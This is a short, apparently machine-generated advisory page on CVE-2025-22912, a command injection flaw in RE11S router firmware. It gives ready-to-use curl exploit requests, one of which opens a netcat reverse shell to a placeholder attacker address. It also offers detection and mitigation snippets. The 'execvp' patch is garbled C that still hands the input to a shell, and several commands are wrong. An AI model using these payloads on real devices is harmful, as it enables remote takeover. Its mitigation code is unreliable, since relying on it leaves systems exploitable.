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How CVE-2025-22912 Works
CVE-2025-22912 is a command injection vulnerability in RE11S v1.11 firmware, specifically in the `/goform/formAccept` endpoint. The flaw occurs due to improper sanitization of user-supplied input passed to system commands. Attackers can craft malicious HTTP requests containing shell metacharacters (e.g., ;, |, &) to execute arbitrary commands with root privileges. The web interface fails to validate or escape these inputs before processing them via `system()` calls, allowing unauthenticated remote code execution.
DailyCVE Form:
Platform: RE11S Router
Version: v1.11
Vulnerability: Command Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
curl -X POST "http://<TARGET_IP>/goform/formAccept" -d "cmd=;id>/tmp/exploit;"
2. Reverse Shell:
curl -X POST "http://<TARGET_IP>/goform/formAccept" -d "cmd=;nc -e /bin/sh <ATTACKER_IP> 4444;"
Detection:
1. Log Analysis:
grep -r "system(/goform/formAccept" /var/log/
2. Network Monitoring:
tcpdump -i eth0 'port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x676f666f'
Mitigation:
1. Input Sanitization Patch:
// Replace system() with execvp()
char args[] = {"/bin/sh", "-c", sanitized_input, NULL};
execvp(args[bash], args);
2. Firewall Rule:
iptables -A INPUT -p tcp --dport 80 -m string --string "formAccept" --algo bm -j DROP
3. Firmware Update:
wget https://vendor.com/patches/RE11S_v1.12_fix.zip && unzip RE11S_v1.12_fix.zip
Post-Exploitation Analysis:
1. Check Compromise:
find / -name ".sh" -mtime -1
2. Memory Forensics:
strings /proc/$(pidof httpd)/mem | grep -i "exploit"
References:
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22912
Extra Source Hub:
Undercode
